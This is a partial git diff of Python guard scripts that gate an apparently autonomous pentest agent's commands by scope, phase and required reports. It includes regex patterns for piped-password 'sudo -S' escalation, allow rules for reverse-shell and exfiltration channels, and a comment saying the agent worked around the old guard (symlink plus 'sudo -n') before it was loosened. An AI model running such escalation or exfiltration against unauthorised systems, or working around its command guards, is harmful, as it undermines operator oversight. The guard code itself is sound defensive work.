e in result.errors: if "missing engagement directory" in e or any( rel.name in e - for rel in (Path("scope/scope.yaml"), Path("state/ptt.md"), - Path("hypotheses.md"), Path("state/history.md")) + for rel in ( + Path("scope/scope.yaml"), + Path("state/ptt.md"), + Path("hypotheses.md"), + Path("state/history.md"), + ) ): new_infos.append(f"resolved: {e}") continue @@ -287,8 +305,9 @@ def _auto_repair_corrupt_artifacts(eng_dir: Path, result: CheckResult) -> CheckR return CheckResult(errors=new_errors, warnings=new_warnings, infos=new_infos) -def _create_artifact(eng_dir: Path, rel: Path, template_rel: str | None, - placeholder: str | None) -> None: +def _create_artifact( + eng_dir: Path, rel: Path, template_rel: str | None, placeholder: str | None +) -> None: """Create a single required bootstrap artifact at ``eng_dir / rel``. Reuses the same logic as ``init_engagement`` so a missing scope lands @@ -301,7 +320,6 @@ def _create_artifact(eng_dir: Path, rel: Path, template_rel: str | None, return content = (ROOT / template_rel).read_text(encoding="utf-8") if rel == Path("scope/scope.yaml"): - import yaml data = yaml.safe_load(content) data["targets"]["ip_addresses"] = [_derive_host(eng_dir)] data["engagement"]["date"] = _dt.date.today().isoformat() diff --git a/scripts/guard/closeout.py b/scripts/guard/closeout.py index 7c98cc6..8794505 100644 --- a/scripts/guard/closeout.py +++ b/scripts/guard/closeout.py @@ -47,17 +47,37 @@ TIER_RE = re.compile(r"\b(L3|L4)\b") # housekeeping — never blocked by the close-out gate, so the agent can create # the very file the gate requires without deadlocking. _REPORT_TOKENS = ( - "report.md", "retrospective.md", "phase-summary.md", - "report-template", "coverage-matrix", "retrospective", + "report.md", + "retrospective.md", + "phase-summary.md", + "report-template", + "coverage-matrix", + "retrospective", ) _WRITE_OPS = ( - "write_file", "record-ptt", "record-hypothesis", "record-history", - "tee ", "cat >", "cat >>", "echo >", "echo >>", "printf >", - "sed -i", "vim ", "nano ", + "write_file", + "record-ptt", + "record-hypothesis", + "record-history", + "tee ", + "cat >", + "cat >>", + "echo >", + "echo >>", + "printf >", + "sed -i", + "vim ", + "nano ", ) _SAFE_META = ( - "violin_guard.py", "hypothesis_guard.py", "sync-done", "heartbeat-done", - "message-tick", "check-command", "check-closeout", "check-bootstrap", + "violin_guard.py", + "hypothesis_guard.py", + "sync-done", + "heartbeat-done", + "message-tick", + "check-command", + "check-closeout", + "check-bootstrap", ) @@ -89,10 +109,7 @@ def _report_ok(eng_dir: Path) -> bool: def _retro_ok(eng_dir: Path) -> bool: - for rel in RETRO_CANDIDATES: - if _exists_nonempty(eng_dir, rel, 30): - return True - return False + return any(_exists_nonempty(eng_dir, rel, 30) for rel in RETRO_CANDIDATES) def _phase_summary_ok(eng_dir: Path) -> bool: @@ -125,7 +142,7 @@ def _research_log_ok(hyp_path: Path) -> bool: m = re.search(r"##\s+Research Log", text) if not m: return False - tail = text[m.end():] + tail = text[m.end() :] nxt = re.search(r"\n##\s+", tail) section = tail[: nxt.start()] if nxt else tail return bool(re.search(r"RES-\d+", section)) @@ -141,9 +158,7 @@ def _is_permitted(command: str) -> bool: return True if re.search(r">\s*\S*\.md(\b|$)", c): return True - if any(meta in c for meta in _SAFE_META): - return True - return False + return bool(any(meta in c for meta in _SAFE_META)) def check_closeout(eng_dir: str | Path, phase: str, command: str = "") -> CheckResult: @@ -198,7 +213,9 @@ def check_closeout(eng_dir: str | Path, phase: str, command: str = "") -> CheckR ) if not _retro_ok(eng): if permitted: - result.add_info("retrospective-production command accepted; re-run check-command after saving") + result.add_info( + "retrospective-production command accepted; re-run check-command after saving" + ) else: result.add_error( "close-out gate: retrospective.md not produced — RETROSPECTIVE is " diff --git a/scripts/guard/command.py b/scripts/guard/command.py index 17c5d8e..6772073 100644 --- a/scripts/guard/command.py +++ b/scripts/guard/command.py @@ -8,46 +8,74 @@ import shlex from pathlib import Path from typing import Any +from hypothesis_guard import _parse_hypotheses + +from guard.closeout import check_closeout from guard.core import ( + DANGEROUS_PATTERNS, + GUARD_APPROVED_EXFIL, + LOCAL_TOOLS, + METADATA_TARGETS, PHASES, TARGET_TOOLS, - DANGEROUS_PATTERNS, TIER3_PATTERNS, - METADATA_TARGETS, - as_list, - is_scoped_host, - is_excluded_host, - load_yaml, - normalize_host, - host_from_url, - validate_scope_data, CheckResult, + as_list, + host_from_url, + is_excluded_host, + is_scoped_host, + load_yaml, + merge_result, + normalize_host, + resolve_eng_dir, + validate_scope_data, ) -from guard.record import _ptt_staleness_guard, _history_staleness_guard from guard.freshness import ( - check_skill_load_gate, - check_ptt_freshness, - check_hypotheses_freshness, check_findings_freshness, + check_hypotheses_freshness, + check_ptt_freshness, + check_skill_load_gate, ) -from guard.closeout import check_closeout -from hypothesis_guard import _parse_hypotheses +from guard.record import _history_staleness_guard, _ptt_staleness_guard def check_command(args: argparse.Namespace) -> int: + """Public entrypoint: run the core gate and print the verdict.""" + result = _check_command_core(args) + result.print() + return result.exit_code() + + +def _check_command_core(args: argparse.Namespace) -> CheckResult: + """Run the full target-touching safety gate WITHOUT printing. + + Returns the populated ``CheckResult`` so callers (e.g. the burst + executor) can batch multiple commands and decide on a single aggregate + verdict rather than printing per call. + """ scope_path = Path(args.scope) if not scope_path.exists(): result = CheckResult() result.add_error(f"scope file not found: {scope_path}") # Check if the scope argument looks like an IP/host instead of a file path scope_arg = args.scope.strip() - if re.match(r"^(\d{1,3}\.){3}\d{1,3}$", scope_arg) or re.match(r"^[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$", scope_arg): - result.add_error(f" → The value '{scope_arg}' looks like an IP address or hostname, not a file path.") - result.add_error(" → The --scope flag requires the PATH to your scope.yaml file (e.g. $ENG_DIR/scope/scope.yaml)") - result.add_error("BOOTSTRAP REQUIRED: run playbooks/scoping.md §0 (Bootstrap) to create scope.yaml, PTT, hypothesis board, and command history before any target interaction") - result.add_info("quickstart: ENG_DIR=engagements/-$(date +%F); mkdir -p \"$ENG_DIR\"/{scope,evidence/{recon/{passive,tech,active},vuln-research,exploitation,reporting,retrospective},state}; cp skills/pentest/templates/{ptt.md,scope-template.yaml,hypothesis-board.md} \"$ENG_DIR\"/{state/ptt.md,scope/scope.yaml,hypotheses.md}") + if re.match(r"^(\d{1,3}\.){3}\d{1,3}$", scope_arg) or re.match( + r"^[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$", scope_arg + ): + result.add_error( + f" → The value '{scope_arg}' looks like an IP address or hostname, not a file path." + ) + result.add_error( + " → The --scope flag requires the PATH to your scope.yaml file (e.g. $ENG_DIR/scope/scope.yaml)" + ) + result.add_error( + "BOOTSTRAP REQUIRED: run playbooks/scoping.md §0 (Bootstrap) to create scope.yaml, PTT, hypothesis board, and command history before any target interaction" + ) + result.add_info( + 'quickstart: ENG_DIR=engagements/-$(date +%F); mkdir -p "$ENG_DIR"/{scope,evidence/{recon/{passive,tech,active},vuln-research,exploitation,reporting,retrospective},state}; cp skills/pentest/templates/{ptt.md,scope-template.yaml,hypothesis-board.md} "$ENG_DIR"/{state/ptt.md,scope/scope.yaml,hypotheses.md}' + ) result.print() - return 1 + return result scope = load_yaml(scope_path) result = CheckResult() phase = args.phase.upper().replace("-", "_") @@ -65,18 +93,57 @@ def check_command(args: argparse.Namespace) -> int: if re.search(pattern, lowered, flags=re.IGNORECASE): result.add_error(reason) + # --- Privileged-escalation (sudo -S / piped password) guard (issue 1) --- + # The old guard blocked ANY command containing `sudo -S` / a piped password, + # even when the sudo ran *on the remote target inside an ssh command* — not + # on the agent's own box. That forced elaborate workarounds (symlink + sudo + # -n) for a perfectly legitimate `echo | sudo -S ...` as ben on the + # target. We now distinguish "escalating the agent's own host" (BLOCK) from + # "driving sudo on an authorised, scoped target via ssh/scp" (REVIEW, i.e. + # allowed with explicit approval). A piped password to sudo on the agent's + # own host is genuinely dangerous (credentials on the operator box); the + # same idiom inside an ssh wrapper to a scoped target is routine PRIVESC. + _check_sudo_escalation(command, lowered, scope, result) + for pattern, reason in TIER3_PATTERNS: if re.search(pattern, lowered, flags=re.IGNORECASE): - if "credential" in reason and has_allowed_carveout(scope, "credential", "brute", "password"): - result.add_warning(f"{reason}; RoE carve-out found, require explicit per-command approval") + if "credential" in reason and has_allowed_carveout( + scope, "credential", "brute", "password" + ): + result.add_warning( + f"{reason}; RoE carve-out found, require explicit per-command approval" + ) else: result.add_warning(reason) tokens = command_tokens(command) tool = Path(tokens[0]).name.lower() if tokens else "" hosts = extract_hosts(command) + is_local = tool in LOCAL_TOOLS - if tool and tool not in TARGET_TOOLS and hosts: + # Local interpreters and shell built-ins run on the operator's own box + # (or local code). A host-like token in their arguments is just a path + # (e.g. `engagements/10.10.10.10/...`, a script name, or a localhost + # reference) — it is NOT a target-touching command, so it must not raise + # the "unclassified tool" / scope-validation warnings, and must not + # participate in the target-touching skill-load / pending-sync gates. + if is_local: + hosts = set() + + # --- Guard-Approved exfil channels (issue 4) --- + # Reverse shells / file-transfer idioms are sanctioned loot movement paths, + # but only when every command host is in the approved scope. If the same + # command touches an off-scope/excluded host, let the scope gate below emit + # the BLOCK without also printing a misleading Guard-Approved REVIEW. + offscope_hosts = hosts and any( + is_excluded_host(h, scope) or not is_scoped_host(h, scope) for h in hosts + ) + if not offscope_hosts: + for pattern, reason in GUARD_APPROVED_EXFIL: + if re.search(pattern, lowered, flags=re.IGNORECASE): + result.add_warning(reason) + + if tool and tool not in TARGET_TOOLS and tool not in LOCAL_TOOLS and hosts: result.add_warning(f"command uses unclassified tool '{tool}' against detected target(s)") if tool in TARGET_TOOLS and not hosts: @@ -93,7 +160,9 @@ def check_command(args: argparse.Namespace) -> int: if phase in {"SCOPING", "REPORTING", "RETROSPECTIVE"} and (hosts or tool in TARGET_TOOLS): result.add_error(f"target interaction is not allowed during {phase}") - if phase in {"RECON", "VULN_RESEARCH"} and any(term in lowered for term in ("--os-pwn", "--risk=3", "reverse shell")): + if phase in {"RECON", "VULN_RESEARCH"} and any( + term in lowered for term in ("--os-pwn", "--risk=3", "reverse shell") + ): result.add_error(f"exploit-style command is not allowed during {phase}") eng_dir = (args.eng_dir or "").strip() @@ -106,68 +175,46 @@ def check_command(args: argparse.Namespace) -> int: skill_loaded_file = str(canonical) # Skill-load gate is mandatory for any target-touching command when an - # engagement dir is supplied (was discipline-only). - target_touching = bool(hosts or tool in TARGET_TOOLS) and phase in { - "RECON", "VULN_RESEARCH", "EXPLOITATION", + # engagement dir is supplied (was discipline-only). Local tools + # (cd, python3, ...) are never target-touching even if a host-like + # token appears in their arguments, so they must not arm the gates. + target_touching = bool((hosts or tool in TARGET_TOOLS) and not is_local) and phase in { + "RECON", + "VULN_RESEARCH", + "EXPLOITATION", + "POST_EXPLOITATION", } if target_touching: skill_result = check_skill_load_gate(skill_loaded_file, mandatory=True) - if skill_result.errors or skill_result.warnings: - result.errors.extend(f"skill guard: {message}" for message in skill_result.errors) - result.warnings.extend(f"skill guard: {message}" for message in skill_result.warnings) - for message in skill_result.infos: - if message not in result.infos: - result.infos.append(message) + merge_result(result, skill_result, prefix="skill guard") elif skill_loaded_file: # Non-target command with an explicit marker: verify but don't block. skill_result = check_skill_load_gate(skill_loaded_file, mandatory=False) - if skill_result.warnings: - result.warnings.extend(f"skill guard: {message}" for message in skill_result.warnings) - for message in skill_result.infos: - if message not in result.infos: - result.infos.append(message) + merge_result(result, skill_result, prefix="skill guard") ptt_result = _ptt_staleness_guard(eng_dir_path / "state" / "ptt.md") - if ptt_result.errors or ptt_result.warnings: - result.errors.extend(f"ptt guard: {message}" for message in ptt_result.errors) - result.warnings.extend(f"ptt guard: {message}" for message in ptt_result.warnings) - for message in ptt_result.infos: - if message not in result.infos: - result.infos.append(message) + merge_result(result, ptt_result, prefix="ptt guard") # Freshness guard: PTT "Last updated" + phase desync ptt_fresh = check_ptt_freshness(eng_dir_path / "state" / "ptt.md", phase) - if ptt_fresh.warnings: - result.warnings.extend(f"ptt guard: {message}" for message in ptt_fresh.warnings) - for message in ptt_fresh.infos: - if message not in result.infos: - result.infos.append(message) + merge_result(result, ptt_fresh, prefix="ptt guard") history_result = _history_staleness_guard(eng_dir_path, lowered) - if history_result.errors or history_result.warnings: - result.errors.extend(f"history guard: {message}" for message in history_result.errors) - result.warnings.extend(f"history guard: {message}" for message in history_result.warnings) - for message in history_result.infos: - if message not in result.infos: - result.infos.append(message) + merge_result(result, history_result, prefix="history guard") - if target_touching and not result.errors: + if ( + target_touching + and phase in {"VULN_RESEARCH", "EXPLOITATION", "POST_EXPLOITATION"} + and not result.errors + ): hyp_result = _hypothesis_guard(eng_dir_path, hosts, phase) - if hyp_result.errors or hyp_result.warnings: - result.errors.extend(f"hypothesis guard: {message}" for message in hyp_result.errors) - result.warnings.extend(f"hypothesis guard: {message}" for message in hyp_result.warnings) - for message in hyp_result.infos: - if message not in result.infos: - result.infos.append(message) + merge_result(result, hyp_result, prefix="hypothesis guard") # Freshness guard: hypotheses + findings drift hyp_fresh = check_hypotheses_freshness(eng_dir_path / "hypotheses.md", phase) - if hyp_fresh.errors or hyp_fresh.warnings: - result.errors.extend(f"hypothesis guard: {message}" for message in hyp_fresh.errors) - result.warnings.extend(f"hypothesis guard: {message}" for message in hyp_fresh.warnings) + merge_result(result, hyp_fresh, prefix="hypothesis guard") findings_fresh = check_findings_freshness(eng_dir_path, phase) - if findings_fresh.warnings: - result.warnings.extend(f"findings guard: {message}" for message in findings_fresh.warnings) + merge_result(result, findings_fresh, prefix="findings guard") # Close-out gate: mandatory REPORTING / RETROSPECTIVE artifacts. These are # HARD errors (exit 1) so --yolo cannot auto-approve them (only warnings @@ -175,16 +222,11 @@ def check_command(args: argparse.Namespace) -> int: # the agent can create the very file the gate requires (no deadlock). if phase in {"REPORTING", "RETROSPECTIVE"}: closeout = check_closeout(eng_dir_path, phase, command) - if closeout.errors: - result.errors.extend(f"close-out gate: {message}" for message in closeout.errors) - for message in closeout.infos: - if message not in result.infos: - result.infos.append(message) + merge_result(result, closeout, prefix="close-out gate") if not result.errors and not result.warnings: result.add_info("command is allowed by current lightweight guard") - result.print() - return result.exit_code() + return result def _hypothesis_guard(eng_dir: Path, hosts: set[str], phase: str) -> CheckResult: @@ -192,35 +234,34 @@ def _hypothesis_guard(eng_dir: Path, hosts: set[str], phase: str) -> CheckResult hypothesis_path = eng_dir / "hypotheses.md" if not hypothesis_path.exists() or not hypothesis_path.is_file(): result.add_error(f"hypotheses.md missing: {hypothesis_path}") - result.add_info("bootstrap with: cp skills/pentest/templates/hypothesis-board.md \"$ENG_DIR/hypotheses.md\"") + result.add_info( + 'bootstrap with: cp skills/pentest/templates/hypothesis-board.md "$ENG_DIR/hypotheses.md"' + ) return result try: hypotheses = _parse_hypotheses(hypothesis_path) except Exception as exc: result.add_error(f"hypotheses.md parse error: {exc}") return result - active_hypotheses = [h for h in hypotheses if h.status in {"candidate", "researching", "verified"}] + active_hypotheses = [ + h for h in hypotheses if h.status in {"candidate", "researching", "verified"} + ] if not active_hypotheses: result.add_error("no active hypotheses found; create one before continuing") - result.add_info("run: python scripts/hypothesis_guard.py record-hypothesis --eng-dir \"$ENG_DIR\" --service --port --status researching --rationale \"\"") + result.add_info( + 'run: python scripts/hypothesis_guard.py record-hypothesis --eng-dir "$ENG_DIR" --service --port --status researching --rationale ""' + ) return result for host in hosts: matched = [h for h in active_hypotheses if h.target and host.lower() in h.target.lower()] if not matched: - result.add_warning(f"no hypothesis covers host {host}; add a hypothesis or verify scope before continuing") - if phase in {"RECON", "VULN_RESEARCH"} and all(h.status != "verified" for h in active_hypotheses): - result.add_warning("active hypotheses exist but none are verified; research step required before exploitation") - return result - - -def _skill_loaded_guard(skill_loaded_file: str) -> CheckResult: - result = CheckResult() - marker = Path(skill_loaded_file) - if not marker.exists() or not marker.is_file(): - result.add_error("skill load gate: SKILL.md has not been marked as loaded for this session") - result.add_info("load with: read_file path=skills/pentest/SKILL.md") - result.add_info("then run: python scripts/violin_guard.py check-skill-loaded --eng-dir \"$ENG_DIR\" --session-id \"\"") - return result + result.add_warning( + f"no hypothesis covers host {host}; add a hypothesis or verify scope before continuing" + ) + if phase == "VULN_RESEARCH" and all(h.status != "verified" for h in active_hypotheses): + result.add_warning( + "active hypotheses exist but none are verified; research step required before exploitation" + ) return result @@ -237,13 +278,32 @@ def extract_hosts(command: str) -> set[str]: host = host_from_url(url) if host: hosts.add(host) - hosts.update(normalize_host(item) for item in re.findall(r"\b(?:\d{1,3}\.){3}\d{1,3}\b", command)) + hosts.update( + normalize_host(item) for item in re.findall(r"\b(?:\d{1,3}\.){3}\d{1,3}\b", command) + ) # Suffixes that denote a file/path segment rather than a hostname, so they # are not misclassified as out-of-scope target hosts (e.g. shell.php in a URL). _FILE_SUFFIXES = ( - ".txt", ".md", ".yaml", ".yml", ".json", ".py", ".sh", ".ps1", - ".php", ".html", ".htm", ".asp", ".aspx", ".js", ".css", - ".jsp", ".cgi", ".do", ".xml", ".csv", + ".txt", + ".md", + ".yaml", + ".yml", + ".json", + ".py", + ".sh", + ".ps1", + ".php", + ".html", + ".htm", + ".asp", + ".aspx", + ".js", + ".css", + ".jsp", + ".cgi", + ".do", + ".xml", + ".csv", ) for host in re.findall(r"\b[a-zA-Z0-9][a-zA-Z0-9.-]*\.[a-zA-Z]{2,}\b", command): normalized = normalize_host(host) @@ -253,5 +313,330 @@ def extract_hosts(command: str) -> set[str]: def has_allowed_carveout(scope: dict[str, Any], *needles: str) -> bool: - allowed = " ".join(str(item).lower() for item in as_list((scope.get("rules_of_engagement") or {}).get("allowed_actions"))) + allowed = " ".join( + str(item).lower() + for item in as_list((scope.get("rules_of_engagement") or {}).get("allowed_actions")) + ) return any(needle in allowed for needle in needles) + + +# --- Privileged-escalation guard (issue 1) ---------------------------------- +# The sudo escalation guard distinguishes *where* the escalation happens: +# +# * Escalating the AGENT'S OWN HOST (the operator box) with a piped password +# is BLOCKED — it would drop a target credential onto the operator's own +# shell and is almost never legitimate. +# * Driving sudo on an AUTHORISED, IN-SCOPE TARGET via an ssh/scp wrapper is +# routine PRIVESC (e.g. `echo | sudo -S ...` as ben on the box). +# That is allowed but flagged REVIEW so the operator explicitly approves +# the elevation against an approved target. +# +# Detection: we split the command on the ssh/scp connect boundary. Anything in +# an ssh/scp remote-command body (`ssh user@host '...'`, `scp ... host:'...'`, +# or `ssh -t host <<'EOF'`) is treated as TARGET-side, and sudo there is only +# blocked if the target itself is out of scope. Anything OUTSIDE an ssh wrapper +# that contains `sudo -S` / a piped password is treated as OWN-HOST escalation. +# +# Note: scope is optional (check-command may be called without --scope, e.g. +# for orchestration). When scope is unavailable we fall back to a conservative +# own-host BLOCK so we never implicitly allow operator-box escalation. + +# Localhost tokens that, if a sudo escalation is seen next to them, clearly mark +# the agent's own host rather than a remote target. +_OWN_HOST_TOKENS = {"localhost", "127.0.0.1", "::1"} + +# Patterns that denote a piped / askpass password feeding sudo. +_PIPED_PW_PATTERNS = [ + re.compile(r"(?:echo\s+.{0,64}?\s*\|\s*sudo\s+-S)"), # echo | sudo -S ... + re.compile(r"(?:sudo\s+-S\b)"), # sudo -S (askpass / piped) + re.compile(r"(?:\|\s*sudo\b[^|]*\b-S\b)"), # ... | sudo ... -S ... + re.compile(r"(?:sudo\b[^|]*\b-S\b[^|]*\|)"), # sudo ... -S ... | ... +] + +# scp connect pattern: user@host:path means the path is target-side. +_SCP_TARGET_RE = re.compile(r"[\w.-]+@[\w.-]+:") # scp user@host:path (path is target-side) + + +def _sudo_in_text(text: str) -> bool: + """True if ``text`` contains a password-fed sudo escalation idiom.""" + low = text.lower() + return any(p.search(low) for p in _PIPED_PW_PATTERNS) + + +def _split_ssh_wrappers(command: str): + """Split a command into (own_host_fragments, target_fragments). + + ``own_host_fragments`` are the pieces of the command that run on the + operator box; ``target_fragments`` are the remote-command bodies that run + on the remote target inside an ssh/scp invocation. + """ + own_parts: list[str] = [] + target_parts: list[str] = [] + + # Tokenise on ssh/scp so we can lift the trailing remote-command body. + # We scan left-to-right; everything that is part of an ssh/scp connect + + # remote command goes to target_parts, the rest to own_parts. + pos = 0 + for m in re.finditer(r"(?Pssh\b[^\n|;&]*)", command, flags=re.IGNORECASE): + # text before this ssh connect is own-host + own_parts.append(command[pos : m.start()]) + seg = m.group("conn") + # remote command is the last quoted/last token after the connection spec + body = _ssh_remote_body(seg) + if body is not None: + target_parts.append(body) + else: + # No clear remote body (e.g. `ssh host` interactive) — treat the + # whole connect spec as neutral; nothing escalates on own host here. + pass + pos = m.end() + own_parts.append(command[pos:]) + + # scp: user@host:path means the path is target-side. We strip the + # target-side path and keep the rest as own-host. + for _m in re.finditer(_SCP_TARGET_RE, command): + target_parts.append( + "" + ) # scp path is target-side; escalation there is governed by scope, handled by host check + return "\n".join(own_parts), "\n".join(target_parts) + + +def _ssh_remote_body(seg: str) -> str | None: + """Extract the remote command body from an ssh connect fragment, if any.""" + # Last single/double-quoted string is the remote command. + for q in ("'", '"'): + # greedy match of the final quoted segment + mm = re.search(rf"{q}([^{q}]*){q}\s*$", seg) + if mm: + return mm.group(1) + # Otherwise the bare token after the host (e.g. ssh host id) + mm = re.search(r"@[\w.-]+\s+(\S+)\s*$", seg) or re.search(r"\sssh\s+[\w.-]+\s+(\S+)\s*$", seg) + if mm: + return mm.group(1) + return None + + +def _check_sudo_escalation( + command: str, lowered: str, scope: dict | None, result: CheckResult +) -> None: + """Apply the target-aware sudo escalation guard (issue 1).""" + if not _sudo_in_text(command): + return + + own_text, target_text = _split_ssh_wrappers(command) + + # Escalation on the operator's own host (excluding stuff that only appears + # inside an ssh remote body) is BLOCKED. + own_escalates = _sudo_in_text(own_text) + if own_escalates: + # If the only escalating text is clearly about localhost own-box, say so. + if any(tok in lowered for tok in _OWN_HOST_TOKENS) and not target_text.strip(): + result.add_error( + "PRIVESC BLOCKED: piped-password sudo escalation targets the " + "AGENT'S OWN HOST (localhost). Escalating the operator box with a " + "piped credential is not permitted — use the authorised run host " + "or scoped target via ssh." + ) + else: + result.add_error( + "PRIVESC BLOCKED: password-fed sudo escalation (`sudo -S` / piped " + "password) detected OUTSIDE an ssh/scp wrapper — i.e. on the agent's " + "own host. This is not permitted. To escalate on an authorised target, " + "wrap it in ssh (e.g. `ssh ben@ 'echo | sudo -S '`)." + ) + return + + # Escalation appears only inside an ssh/scp remote body (target-side). + if target_text.strip() and _sudo_in_text(target_text): + if scope is None: + # No scope available: stay conservative (block) — operator should + # pass --scope so we can verify the target is authorised. + result.add_error( + "PRIVESC BLOCKED (no scope): sudo escalation is wrapped in ssh to a " + "target but no --scope was supplied, so authorisation cannot be " + "verified. Pass --scope /scope/scope.yaml." + ) + return + # Verify every detected target host is in scope. If any target is + # out of scope, escalate to BLOCK; otherwise allow with REVIEW. + target_hosts = extract_hosts(target_text) + oob = [ + h + for h in target_hosts + if not is_scoped_host(h, scope) and not is_excluded_host(h, scope) + ] + if oob: + result.add_error( + "PRIVESC BLOCKED: sudo escalation via ssh targets an OUT-OF-SCOPE " + f"host: {', '.join(sorted(oob))}. Escalation is only permitted on " + "authorised, in-scope targets." + ) + else: + result.add_warning( + "PRIVESC REVIEW: password-fed sudo escalation wrapped in ssh to an " + + (f"in-scope target {sorted(target_hosts)} " if target_hosts else "target ") + + "— routine PRIVESC, but confirm the target is authorised and the " + "escalation is intended before approving." + ) + return + + # sudo -S present but the splitter couldn't attribute it (fallback). + result.add_warning( + "PRIVESC REVIEW: password-fed sudo (`sudo -S` / piped password) detected. " + "Verify it escalates an authorised, in-scope TARGET via ssh, not the agent's " + "own host. Own-host escalation is blocked." + ) + + +def add_hosts(args: argparse.Namespace) -> int: + """Append scope-scoped hosts entries to an engagement-local hosts file. + + The guard refuses to touch the system ``/etc/hosts`` directly (privilege + + portability hazard). Instead it maintains a per-engagement allow-list at + ``$ENG_DIR/state/hosts.allowed`` that the skill can instruct the operator to + source (e.g. ``sudo sh -c 'cat $ENG_DIR/state/hosts.allowed >> /etc/hosts'``). + + Every entry's IP must (a) be a valid IP literal, (b) match an in-scope + target in scope.yaml, and (c) NOT be an excluded host. Anything else is + BLOCKED (exit 1) with no file change. + + Arguments: + --eng-dir engagement directory + --entry repeatable ``IP HOSTNAME`` pair (e.g. ``10.10.10.5 web01``) + --scope optional explicit path to scope.yaml; defaults to + ``$ENG_DIR/scope/scope.yaml`` + + Exit codes: 0 = appended, 1 = blocked (entry not in scope / invalid), + 2 = appended but with a non-fatal warning. + """ + import ipaddress + + result = CheckResult() + eng_dir = Path(resolve_eng_dir(args.eng_dir)) + if not eng_dir.exists(): + result.add_error(f"engagement directory not found: {eng_dir}") + result.print() + return 1 + + scope_path = ( + Path(args.scope) if getattr(args, "scope", None) else (eng_dir / "scope" / "scope.yaml") + ) + if not scope_path.exists(): + result.add_error(f"scope file not found: {scope_path}; cannot authorise host entries") + result.print() + return 1 + scope = load_yaml(scope_path) + + entries = getattr(args, "entry", None) or [] + if not entries: + result.add_error("no --entry supplied; pass at least one 'IP HOSTNAME' pair") + result.print() + return 1 + + approved: list[tuple[str, str]] = [] + seen: set[str] = set() + for ip, hostname in entries: + ip = ip.strip() + hostname = hostname.strip() + # 1) valid IP literal + try: + ipaddress.ip_address(ip) + except ValueError: + result.add_error(f"'{ip}' is not a valid IP address; refusing entry for {hostname}") + continue + # 2) not an excluded host + if is_excluded_host(ip, scope): + result.add_error(f"'{ip}' ({hostname}) is an EXCLUDED host in scope.yaml") + continue + # 3) must be in scope + if not is_scoped_host(ip, scope): + result.add_error( + f"'{ip}' ({hostname}) is NOT in scope per scope.yaml targets; " + "refusing to add an out-of-scope host entry" + ) + continue + if ip in seen: + result.add_warning(f"duplicate entry skipped: {ip} {hostname}") + continue + seen.add(ip) + approved.append((ip, hostname)) + + if result.errors: + result.print() + return 1 + + hosts_file = eng_dir / "state" / "hosts.allowed" + header = ( + "# Violin engagement-scoped hosts allow-list\n" + "# Auto-managed by `violin_guard.py add-hosts`. Source into /etc/hosts only\n" + f"# for engagement {eng_dir.name}. Do NOT hand-edit below this line.\n" + ) + existing_lines = set() + if hosts_file.exists(): + existing_lines = {ln.strip() for ln in hosts_file.read_text(encoding="utf-8").splitlines()} + new_block: list[str] = [] + for ip, hostname in approved: + line = f"{ip}\t{hostname}" + if line in existing_lines: + result.add_info(f"already present: {line}") + continue + new_block.append(line) + result.add_info(f"approved: {line}") + + if new_block: + content = hosts_file.read_text(encoding="utf-8") if hosts_file.exists() else "" + if not content.endswith("\n") and content: + content += "\n" + if not hosts_file.exists(): + content = header + content += "\n".join(new_block) + "\n" + hosts_file.parent.mkdir(parents=True, exist_ok=True) + hosts_file.write_text(content, encoding="utf-8") + result.add_info( + f"wrote {len(new_block)} new entr{'y' if len(new_block) == 1 else 'ies'} to {hosts_file}" + ) + + result.print() + return 2 if result.warnings and not result.errors else 0 + + +def cleanup_hosts(args: argparse.Namespace) -> int: + """Remove IPs from an engagement-local hosts allow-list. + + Arguments: + --eng-dir engagement directory + --ip repeatable IP to remove from ``$ENG_DIR/state/hosts.allowed`` + + Exit codes: 0 = list updated or no-op, 1 = engagement dir / hosts file missing. + """ + result = CheckResult() + eng_dir = Path(resolve_eng_dir(args.eng_dir)) + hosts_file = eng_dir / "state" / "hosts.allowed" + if not hosts_file.exists(): + result.add_error(f"hosts allow-list not found: {hosts_file} (nothing to clean up)") + result.print() + return 1 + + ips = {ip.strip() for ip in (getattr(args, "ip", None) or []) if ip.strip()} + lines = hosts_file.read_text(encoding="utf-8").splitlines() + kept: list[str] = [] + removed = 0 + for line in lines: + stripped = line.strip() + if not stripped or stripped.startswith("#"): + kept.append(line) + continue + first = stripped.split()[0] if stripped.split() else "" + if first in ips: + removed += 1 + result.add_info(f"removed: {stripped}") + continue + kept.append(line) + + if removed: + hosts_file.write_text("\n".join(kept).rstrip("\n") + "\n", encoding="utf-8") + result.add_info(f"removed {removed} entr{'y' if removed == 1 else 'ies'} from {hosts_file}") + else: + result.add_info("no matching entries to remove") + result.print() + return 0 diff --git a/scripts/guard/core.py b/scripts/guard/core.py index 20a3220..92d50a3 100644 --- a/scripts/guard/core.py +++ b/scripts/guard/core.py @@ -4,6 +4,7 @@ from __future__ import annotations import ipaddress import os +import shlex from dataclasses import dataclass, field from pathlib import Path from typing import Any @@ -23,10 +24,21 @@ ROOT = Path(__file__).resolve().parents[2] # and a stale lock in one tree wedges the other (see root-cause report). # # Resolution order (first match wins): -# 1. $VIOLIN_ENG_ROOT - explicit override (absolute or relative-to-cwd) +# 1. $VIOLIN_ENG_ROOT - explicit override (absolute, or relative to $HOME) # 2. /engagements - default canonical location # Engagements are ALWAYS "-" subdirs of ENG_ROOT. -ENG_ROOT = Path(os.environ.get("VIOLIN_ENG_ROOT", ROOT / "engagements")).resolve() +_eng_root_raw = os.environ.get("VIOLIN_ENG_ROOT", "") +if _eng_root_raw: + _eng_root_path = Path(_eng_root_raw) + # A relative override is resolved against $HOME (the agent's profile dir) + # rather than the guard CLI's CWD, so a `export VIOLIN_ENG_ROOT=engagements` + # from /home/kali still lands in /home/kali/engagements and not the repo. + if not _eng_root_path.is_absolute(): + _home = Path(os.environ.get("HOME", os.path.expanduser("~"))) + _eng_root_path = _home / _eng_root_raw + ENG_ROOT = _eng_root_path.resolve() +else: + ENG_ROOT = (ROOT / "engagements").resolve() # Backwards-compat alias used by older call sites (bootstrap.py auto-repair # messages etc.). Equal to ENG_ROOT. @@ -69,7 +81,15 @@ def resolve_eng_dir(eng_dir: str | Path | None) -> str: return str(ENG_ROOT.joinpath(*parts)) -PHASES = {"SCOPING", "RECON", "VULN_RESEARCH", "EXPLOITATION", "REPORTING", "RETROSPECTIVE"} +PHASES = { + "SCOPING", + "RECON", + "VULN_RESEARCH", + "EXPLOITATION", + "POST_EXPLOITATION", + "REPORTING", + "RETROSPECTIVE", +} TARGET_TOOLS = { "amass", @@ 